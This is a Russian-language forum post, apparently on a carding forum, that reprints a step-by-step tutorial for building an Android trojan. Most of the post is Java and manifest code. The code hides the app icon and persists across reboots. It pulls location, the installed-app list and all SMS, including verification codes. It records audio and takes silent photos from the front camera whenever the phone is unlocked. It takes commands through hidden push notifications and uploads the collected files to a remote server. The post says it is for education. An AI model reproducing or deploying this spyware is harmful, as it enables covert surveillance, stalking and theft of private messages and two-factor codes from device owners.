Пишем вирус для Android за полчаса. Отслеживаем местоположение, читаем SMS, пишем аудио и делаем фото

Carder

Professional
Messages
2,619
Reputation
7
Reaction score
1,653
Points
113
Android принято называть рассадником вирусов и бэкдоров. Каждый день здесь выявляют более 8 тысяч новых образцов малвари. И эти цифры постоянно растут. Но задумывался ли ты, как эта малварь работает? Сегодня мы разберемся с этим, изучив приложение для Android, способное собирать информацию об устройстве, его местоположении, делать фотографии и записывать аудио. И все это с удаленным управлением.

Итак, наша задача — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой зловред, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.

Возможности будут следующие:
  • сбор информации о местоположении;
  • получение списка установленных приложений;
  • получение СМС;
  • запись аудио;
  • съемка задней или фронтальной камерой.
Все это приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.

Важно! Создание и распространение вредоносных программ карается лишением свободы до четырех лет (статья 273). Мы не хотим, чтобы ты сломал себе жизнь в местах не столь отдаленных, поэтому публикуем статью исключительно в образовательных целях. Ведь лучший способ разобраться в работе зловредного ПО — это узнать, как оно создается.

Каркас​

По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи тебе придется выполнить самому (для этого потребуются кое-какие знания в разработке приложений для Android).

На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).

Начнем. Создай приложение, указав в манифесте следующие разрешения:

Code:
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.CAMERA" /> <uses-permission android:name="android.permission.RECORD_AUDIO" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" /> <uses-permission android:name="android.permission.READ_CONTACTS" /> <uses-permission android:name="android.permission.READ_SMS" />В build.gradle укажи compileSdkVersion 22 и targetSdkVersion 22. Так ты избавишь приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).

Создай пустую Activity и Service. В метод onStartCommand сервиса добавь строку return Service.START_STICKY. Это заставит систему перезапускать его в случае непреднамеренного завершения.

Добавь их описание в манифест (здесь и далее наше приложение будет называться com.example.app):

Code:
<activity android:name="com.example.app.MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <service android:name="com.example.app.MainService" android:enabled="true" android:exported="false"> </service>
Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:

Code:
void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState) // Запускаем сервис startService(new Intent(this, MainService.class)); // Отключаем Activtiy ComponentName cn = new ComponentName("com.example.app", "com.example.app.MainActivity"); pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP); }
Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.

Информация о местоположении​

Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.

Начнем с определения местоположения. В Android есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по Wi-Fi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).

В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:

Code:
Location getLastLocation(Context context) { LocationManager lManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE); android.location.Location locationGPS = lManager.getLastKnownLocation(LocationManager.GPS_PROVIDER); android.location.Location locationNet = lManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER); long GPSLocationTime = 0; if (null != locationGPS) { GPSLocationTime = locationGPS.getTime(); } long NetLocationTime = 0; if (null != locationNet) { NetLocationTime = locationNet.getTime(); } Location loc; if ( 0 < GPSLocationTime - NetLocationTime ) { loc = locationGPS; } else { loc = locationNet; } if (loc != null) { return loc; } else { return null; } }
Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.

Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:

Code:
Location loc = getLastKnownLocation(context) String locationFile = context.getApplicationInfo().dataDir + "/location" try { OutputStreamWriter outputStreamWriter = new OutputStreamWriter(context.openFileOutput(locationFile, Context.MODE_PRIVATE)); outputStreamWriter.write(loc.getLatitude() + " " + loc.getLongitude); outputStreamWriter.close(); } catch (IOException e) {}
Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.

Список установленных приложений​

Получить список установленных приложений еще проще:

Code:
void dumpSMS(Context context) { String appsFile = context.getApplicationInfo().dataDir + "/apps" final PackageManager pm = context.getPackageManager(); List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA); try { PrintWriter pw = Files.writeLines(appsFile); for (ApplicationInfo packageInfo : packages) { if (!isSystemPackage(packageInfo)) pw.println(pm.getApplicationLabel(packageInfo) + ": " + packageInfo.packageName); } pw.close(); } catch (IOException e) {} } private boolean isSystemPackage(ApplicationInfo applicationInfo) { return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0); }
Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.

Дамп СМС​

Уже сложнее. Чтобы получить список всех сохраненных СМС, нам необходимо подключиться к БД и пройтись по ней в поисках нужных записей. Код, позволяющий дампнуть все СМС в файл:

Code:
void dumpSMS(Context context, String file, String box) { SimpleDateFormat formatter = new SimpleDateFormat("yyyy.MM.dd HH:mm:ss", Locale.US); Cursor cursor = context.getContentResolver().query(Uri.parse("content://sms/" + box), null, null, null, null); try { PrintWriter pw = Files.writeLines(file); if (cursor != null && cursor.moveToFirst()) { do { String address = null; String date = null; String body = null; for (int idx = 0; idx < cursor.getColumnCount(); idx++) { switch (cursor.getColumnName(idx)) { case "address": address = cursor.getString(idx); break; case "date": date = cursor.getString(idx); break; case "body": body = cursor.getString(idx); } } if (box.equals("inbox")) { pw.println("From: " + address); } else { pw.println("To: " + address); } String dateString = formatter.format(new Date(Long.valueOf(date))); pw.println("Date: " + dateString); if (body != null) { pw.println("Body: " + body.replace('\n', ' ')); } else { pw.println("Body: "); } pw.println(); } while (cursor.moveToNext()); } pw.close(); cursor.close(); } catch (Exception e) {} }
Использовать его следует так:

Code:
// Сохраняем список всех полученных СМС String inboxFile = context.getApplicationInfo().dataDir + "/sms_inbox" dumpSMS(context, inboxFile, "inbox"); // Сохраняем список отправленных СМС String sentFile = context.getApplicationInfo().dataDir + "/sms_sent"; dumpSMS(context, sentFile, "sent");
Записи в файле будут выглядеть примерно так:

Code:
From: Google Date: 2017.02.24 06:49:55 Body: G-732583 is your Google verification code.

Запись аудио​

Записать аудио с микрофона можно с помощью API MediaRecorder. Достаточно передать ему параметры записи и запустить ее с помощью метода start(). Остановить запись можно с помощью метода stop(). Следующий код демонстрирует, как это сделать. В данном случае мы используем отдельный спящий поток, который просыпается по истечении заданного тайм-аута и останавливает запись:

Code:
void recordAudio(String file, final int time) { MediaRecorder recorder = new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.MIC); recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); recorder.setOutputFile(file); try { recorder.prepare(); } catch (IOException e) {} recorder.start(); Thread timer = new Thread(new Runnable() { @Override public void run() { try { Thread.sleep(time * 1000); } catch (InterruptedException e) { Log.d(TAG, "timer interrupted"); } finally { recorder.stop(); recorder.release(); } } }); timer.start(); }
Использовать его можно, например, так:

Code:
DateFormat formatter = new SimpleDateFormat("yyyy-MM-dd-HH-mm-ss", Locale.US); Date date = new Date(); String filePrefix = context.getApplicationInfo().dataDir + "/audio-"; recordAudio(filePrefix + formatter.format(date) + ".3gp", 15);
Данный код сделает 15-секундную запись и поместит ее в файл audio-ДАТА-И-ВРЕМЯ.3gp.

Съемка​

С камерой сложнее всего. Во-первых, по-хорошему необходимо уметь работать сразу с двумя API камеры: классическим и Camera2, который появился в Android 5.0 и стал основным в 7.0. Во-вторых, API Camera2 часто работает некорректно в Android 5.0 и даже в Android 5.1, к этому нужно быть готовым. В-третьих, Camera2 — сложный и запутанный API, основанный на колбэках, которые вызываются в момент изменения состояния камеры. В-четвертых, ни в классическом API камеры, ни в Camera2 нет средств для скрытой съемки. Они оба требуют показывать превью, и это ограничение придется обходить с помощью хаков.

Учитывая, что с Camera2 работать намного сложнее, а описать нюансы работы с ней в рамках данной статьи не представляется возможным, я просто приведу весь код класса для скрытой съемки. А ты можешь либо использовать его как есть, либо попробуешь разобраться с ним самостоятельно (но я предупреждаю: ты попадешь в ад):

Code:
public class SilentCamera2 { private Context context; private CameraDevice device; private ImageReader imageReader; private CameraCaptureSession session; private SurfaceTexture surfaceTexture; private CameraCharacteristics characteristics; private Surface previewSurface; private CaptureRequest.Builder request; private Handler handler; private String photosDir; public SilentCamera2(Context context) { this.context = context; } private final CameraDevice.StateCallback mStateCallback = new CameraDevice.StateCallback() { @Override public void onOpened(CameraDevice cameraDevice) { device = cameraDevice; try { surfaceTexture = new SurfaceTexture(10); previewSurface = new Surface(surfaceTexture); List<Surface> surfaceList = new ArrayList<>(); surfaceList.add(previewSurface); surfaceList.add(imageReader.getSurface()); cameraDevice.createCaptureSession(surfaceList, mCaptureStateCallback, handler); } catch (Exception e) { } } @Override public void onDisconnected(CameraDevice cameraDevice) { } @Override public void onError(CameraDevice cameraDevice, int error) { } }; private CameraCaptureSession.StateCallback mCaptureStateCallback = new CameraCaptureSession.StateCallback() { @Override public void onConfigured(CameraCaptureSession captureSession) { session = captureSession; try { request = device.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW); request.addTarget(previewSurface); request.set(CaptureRequest.CONTROL_AF_TRIGGER, CameraMetadata.CONTROL_AF_TRIGGER_START); captureSession.setRepeatingRequest(request.build(), mCaptureCallback, handler); } catch (Exception e) { } } @Override public void onConfigureFailed(CameraCaptureSession mCaptureSession) {} }; private CameraCaptureSession.CaptureCallback mCaptureCallback = new CameraCaptureSession.CaptureCallback() { @Override public void onCaptureCompleted(CameraCaptureSession session, CaptureRequest request, TotalCaptureResult result) { } }; private final ImageReader.OnImageAvailableListener mOnImageAvailableListener = new ImageReader.OnImageAvailableListener() { @Override public void onImageAvailable(ImageReader reader) { DateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd-HH-mm-ss"); Date date = new Date(); String filename = photosDir + "/" + dateFormat.format(date) + ".jpg"; File file = new File(filename); Image image = imageReader.acquireLatestImage(); try { ByteBuffer buffer = image.getPlanes()[0].getBuffer(); byte[] bytes = new byte[buffer.remaining()]; buffer.get(bytes); OutputStream os = new FileOutputStream(file); os.write(bytes); image.close(); os.close(); } catch (Exception e) { e.getStackTrace(); } closeCamera(); } }; private void takePicture() { request.set(CaptureRequest.JPEG_ORIENTATION, getOrientation()); request.addTarget(imageReader.getSurface()); try { session.capture(request.build(), mCaptureCallback, handler); } catch (CameraAccessException e) { } } private void closeCamera() { try { if (null != session) { session.abortCaptures(); session.close(); session = null; } if (null != device) { device.close(); device = null; } if (null != imageReader) { imageReader.close(); imageReader = null; } if (null != surfaceTexture) { surfaceTexture.release(); } } catch (Exception e) { } } public boolean takeSilentPhoto(String cam, String dir) { photosDir = dir; int facing; switch (cam) { case "front": facing = CameraCharacteristics.LENS_FACING_FRONT; break; case "back": facing = CameraCharacteristics.LENS_FACING_BACK; break; default: return false; } CameraManager manager = (CameraManager) context.getSystemService(Context.CAMERA_SERVICE); String cameraId = null; characteristics = null; try { for (String id : manager.getCameraIdList()) { characteristics = manager.getCameraCharacteristics(id); Integer currentFacing = characteristics.get(CameraCharacteristics.LENS_FACING); if (currentFacing != null && currentFacing == facing) { cameraId = id; break; } } } catch (Exception e) { return false; } HandlerThread handlerThread = new HandlerThread("CameraBackground"); handlerThread.start(); handler = new Handler(handlerThread.getLooper()); imageReader = ImageReader.newInstance(1920,1080, ImageFormat.JPEG, 2); imageReader.setOnImageAvailableListener(mOnImageAvailableListener, handler); try { manager.openCamera(cameraId, mStateCallback, handler); // Ждем фокусировку Thread.sleep(1000); takePicture(); } catch (Exception e) { Log.d(TAG, "Can't open camera: " + e.toString()); return false; } return true; } private int getOrientation() { WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE); int rotation = wm.getDefaultDisplay().getRotation(); int deviceOrientation = 0; switch(rotation){ case Surface.ROTATION_0: deviceOrientation = 0; break; case Surface.ROTATION_90: deviceOrientation = 90; break; case Surface.ROTATION_180: deviceOrientation = 180; break; case Surface.ROTATION_270: deviceOrientation = 270; break; } int sensorOrientation = characteristics.get(CameraCharacteristics.SENSOR_ORIENTATION); deviceOrientation = (deviceOrientation + 45) / 90 * 90; boolean facingFront = characteristics.get(CameraCharacteristics.LENS_FACING) == CameraCharacteristics.LENS_FACING_FRONT; if (facingFront) deviceOrientation = -deviceOrientation; return (sensorOrientation + deviceOrientation + 360) % 360; } }
Этот код следует вызывать в отдельном потоке, передав в качестве аргументов место расположения камеры («front» — передняя, «back» — задняя) и каталог, в который будут сохранены фотографии. В качестве имен файлов будет использована текущая дата и время.

Code:
String cameraDir = context.getApplicationInfo().dataDir + "/camera/" camera.takeSilentPhoto("front", cameraDir);

Складываем все вместе​

С этого момента у нас есть каркас приложения, который запускает сервис и скрывает свое присутствие. Есть набор функций и классов, которые позволяют собирать информацию о смартфоне и его владельце, а также скрыто записывать аудио и делать фото. Теперь нужно разобраться, когда и при каких обстоятельствах их вызывать.

Если мы просто засунем вызов всех этих функций в сервис, то получим бесполезное «одноразовое приложение». Сразу после запуска оно узнает информацию о местоположении, получит список приложений, СМС, сделает запись аудио, снимок, сохранит все это в файлы в своем приватном каталоге и уснет. Оно даже не запустится после перезагрузки.

Гораздо более полезным оно станет, если определение местоположения, дамп приложений и СМС будет происходить по расписанию (допустим, раз в полчаса), снимок экрана — при каждом включении устройства, а запись аудио — по команде с сервера.

Задания по расписанию​

Чтобы заставить Android выполнять код нашего приложения через определенные интервалы времени, можно использовать AlarmManager. Для начала напишем такой класс:

Code:
public class Alarm extends BroadcastReceiver { public static void set(Context context) { AlarmManager am = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE); Intent intent = new Intent(activity, Payload.class); PendingIntent pIntent = PendingIntent.getBroadcast(activity, 0, intent, 0); am.setInexactRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime(), 30 * 60 * 1000, pIntent); } @Override public void onReceive(Context context, Intent intent) { // Твой код здесь } }
Метод set() установит «будильник», срабатывающий каждые тридцать минут и запускающий метод onReceive(). Именно в него ты должен поместить код, скидывающий местоположение, СМС и список приложений в файлы.

В метод onCreate() сервиса добавь следующую строку:

Code:
Alarm.set(this)

Снимок при включении экрана​

Бессмысленно делать снимок каждые полчаса. Гораздо полезнее делать снимок передней камерой при разблокировке смартфона (сразу видно, кто его использует). Чтобы реализовать такое, создай класс ScreenOnReceiver:

Code:
class ScreenOnReceiver extends BroadcastReceiver() { @Override void onReceive(Context context, Intent intent) { // Твой код здесь } }
И добавь в манифест следующие строки:

Code:
<receiver android:name="com.example.app.ScreenOnReceiver"> <intent-filter> <action android:name="android.intent.action.ACTION_SCREEN_ON" /> </intent-filter> </receiver>

Запуск при загрузке​

В данный момент у нашего приложения есть одна большая проблема — оно будет работать ровно до тех пор, пока юзер не перезагрузит смартфон. Чтобы перезапускать сервис при загрузке смартфона, создадим еще один ресивер:

class BootReceiver extends BroadcastReceiver() { @override void onReceive(Context context, Intent intent) { Intent serviceIntent = new Intent(this, MainService.class); startService(serviceIntent); } }И опять же добавим его в манифест:

Code:
<receiver android:name="com.example.BootReceiver"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter> </receiver>

Запись аудио по команде​

С этим немного сложнее. Самый простой способ отдать команду нашему трояну — записать ее в обычный текстовый файл и выложить этот файл на сервере. Затем поместить в сервис код, который будет, допустим, каждую минуту чекать сервер на наличие файла и выполнять записанную в нем команду.

В коде это может выглядеть примерно так:

Code:
String url = "http://example.com/cmd" OkHttpClient client = new OkHttpClient(); Request request = new Request.Builder().url(url).build(); while (true) { Response response = client.newCall(request).execute(); String cmd = response.body().string(); cmd = cmd.trim() if (cmd.equals("record")) { // Делаем аудиозапись } try { Thread.sleep(60 * 1000); } catch (InterruptedException e) {} }
Конечно же, у этого кода есть проблема — если ты один раз запишешь команду в файл на сервере, троян будет выполнять ее каждую минуту. Чтобы этого избежать, достаточно добавить в файл числовой префикс в формате «X:команда» и увеличивать этот префикс при каждой записи команды. Троян же должен сохранять это число и выполнять команду только в том случае, если оно увеличилось.

Гораздо хуже, что твой троян будет заметно жрать батарею. А Android (начиная с шестой версии) будет его в этом ограничивать, закрывая доступ в интернет.

Чтобы избежать этих проблем, можно использовать сервис push-уведомлений. OneSignalотлично подходит на эту роль. Он бесплатен и очень прост в использовании. Зарегистрируйся в сервисе, добавь новое приложение и следуй инструкциям, в конце тебе скажут, какие строки необходимо добавить в build.gradle приложения, а также попросят создать класс вроде этого:

Code:
class App extends Application { @Override public void onCreate() { super.onCreate() OneSignal.startInit(this).init() } }
Но это еще не все. Также тебе нужен сервис — обработчик push-уведомлений, который будет принимать их и выполнять действия в зависимости от содержащихся в push-уведомлении данных:

Code:
class OSService extends NotificationExtenderService { @Override protected boolean onNotificationProcessing(OSNotificationReceivedResult receivedResult) { String cmd = receivedResult.payload.body.trim() if (cmd.equals("record")) { // Делаем аудиозапись } // Не показывать уведомление return true } }
Этот код трактует содержащуюся в уведомлении строку как команду и, если эта команда — record, выполняет нужный нам код. Само уведомление не появится на экране, поэтому пользователь ничего не заметит.

Последний штрих — добавим сервис в манифест:

Code:
<service android:name="org.antrack.app.service.OSService" android:exported="false"> <intent-filter> <action android:name="com.onesignal.NotificationExtender" /> </intent-filter> </service>

Отправка данных на сервер​

На протяжении всей статьи мы обсуждали, как собрать данные и сохранить их в файлы внутри приватного каталога. И теперь мы готовы залить эти данные на сервер. Сделать это не так уж сложно, вот, например, как можно отправить на сервер нашу фотку:

Code:
private static final MediaType MEDIA_TYPE_JPEG = MediaType.parse("image/jpeg"); public void uploadImage(File image, String imageName) throws IOException { OkHttpClient client = new OkHttpClient(); RequestBody requestBody = new MultipartBody.Builder().setType(MultipartBody.FORM) .addFormDataPart("file", imageName, RequestBody.create(MEDIA_TYPE_JPEG, image)) .build(); Request request = new Request.Builder().url("http://com.example.com/upload") .post(requestBody).build(); Response response = client.newCall(request).execute(); }
Вызывать этот метод нужно из метода onReceive() класса Alarm, чтобы каждые тридцать минут приложение отправляло новые файлы на сервер. Отправленные файлы следует удалять.

Ну и конечно же, на стороне сервера тебе необходимо реализовать хендлер, который будет обрабатывать аплоады. Как это сделать, сильно зависит от того, какой фреймворк и сервер ты используешь.

Выводы​

Android — очень дружелюбная к разработчикам сторонних приложений ОС. Поэтому написать полноценный троян здесь можно, используя стандартный API. Более того, с помощью того же API его иконку можно скрыть из списка приложений и заставить работать в фоне, незаметно для пользователя.

Будь осторожен с Android 8. Она хоть и позволяет собранным для более ранних версий Android приложениям работать в фоне, но выводит об этом уведомление. С другой стороны, много ли ты видел смартфонов на Android 8 в дикой природе?
 
Top